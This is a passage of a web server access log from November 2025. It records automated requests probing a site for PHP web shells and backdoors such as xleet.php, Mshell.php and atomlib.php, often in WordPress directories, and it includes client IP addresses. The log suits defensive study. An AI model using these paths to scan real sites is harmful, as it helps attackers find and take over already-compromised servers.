HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:05 +0330] "GET /700.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:06 +0330] "GET /l.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:06 +0330] "GET /oddtd.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:07 +0330] "GET /v.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:08 +0330] "GET /ff.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:08 +0330] "GET /ca.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:09 +0330] "GET /inzrw.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:10 +0330] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:10 +0330] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:11 +0330] "GET /we.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:11 +0330] "GET /20025.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:12 +0330] "GET /asd67.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:12 +0330] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:13 +0330] "GET /rtg.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:14 +0330] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:14 +0330] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:15 +0330] "GET /ngek.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:16 +0330] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:16 +0330] "GET /3k4.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:17 +0330] "GET /file51.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:18 +0330] "GET /man.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:18 +0330] "GET /unrubbish.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:19 +0330] "GET /strubbly.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:19 +0330] "GET /tiqdc.php HTTP/1.1" 301 795 "-" "-" 48.210.15.48 - - [05/Nov/2025:01:44:20 +0330] "GET /hdwta.php HTTP/1.1" 301 795 "-" "-" 31.23.95.241 - - [05/Nov/2025:01:56:07 +0330] "GET /wp-content/plugins/post-smtp/assets/js/postman-suggest.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" 185.52.29.76 - - [05/Nov/2025:01:56:26 +0330] "GET /wp-content/plugins/post-smtp/assets/js/postman-suggest.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:23 +0330] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:32 +0330] "GET /wp-content/plugins/work-list/lang.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:16 +0330] "GET /smtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 105.157.70.118 - - [05/Nov/2025:02:16:22 +0330] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:48 +0330] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:51 +0330] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 194.165.16.8 - - [05/Nov/2025:02:07:58 +0330] "POST /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0" 105.157.70.118 - - [05/Nov/2025:02:13:02 +0330] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:13:35 +0330] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:13:42 +0330] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:14:32 +0330] "GET /log-mama/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:20 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:21 +0330] "GET /file17.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:24 +0330] "GET /wp-content/akp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:15:47 +0330] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:31 +0330] "GET /first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:32 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:40 +0330] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:47 +0330] "GET /log-mama/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:48 +0330] "GET /bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.107 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:50 +0330] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:55 +0330] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:59 +0330] "GET /asd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:35 +0330] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:48 +0330] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:52 +0330] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:00 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:02 +0330] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:10 +0330] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:18 +0330] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:22 +0330] "GET /wp-content/themes/gaukingo/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:43 +0330] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:45 +0330] "GET /file17.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:47 +0330] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:22:25 +0330] "GET /smtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 105.157.70.118 - - [05/Nov/2025:02:22:31 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:22:31 +0330] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 105.157.70.118 - - [05/Nov/2025:02:16:57 +0330] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:16:58 +0330] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:08 +0330] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:30 +0330] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:40 +0330] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:44 +0330] "GET /cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:53 +0330] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:18:58 +0330] "GET /wp-includes/Requests/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:22 +0330] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:19:48 +0330] "GET /wp-content/akp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:22:06 +0330] "GET /chosen.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:22:26 +0330] "GET /wp-includes/Text/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 105.157.70.118 - - [05/Nov/2025:02:23:23 +0330] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:24:17 +0330] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:26:13 +0330] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:26:31 +0330] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:26:36 +0330] "GET /xl2023x.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:26:53 +0330] "GET /xxl.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:22:44 +0330] "GET /wp-includes/css/controllers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:28.0) Gecko/20100101 Firefox/72.0" 105.157.70.118 - - [05/Nov/2025:02:23:23 +0330] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 165.22.63.176 - - [05/Nov/2025:02:27:19 +0330] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:34:39 +0330] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:34:41 +0330] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:01 +0330] "GET /asd.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:09 +0330] "GET /1.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:17 +0330] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:28 +0330] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:39 +0330] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:42 +0330] "GET /login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:43 +0330] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:46 +0330] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:47 +0330] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:53 +0330] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:36:04 +0330] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:36:12 +0330] "GET /content.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:36:16 +0330] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:37:12 +0330] "GET /Mshell.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:34:30 +0330] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:34:37 +0330] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:34:45 +0330] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:16 +0330] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:25 +0330] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:26 +0330] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:29 +0330] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:37 +0330] "GET /wp-includes/Requests/network.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:41 +0330] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 105.157.70.118 - - [05/Nov/2025:02:35:49 +0330] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; 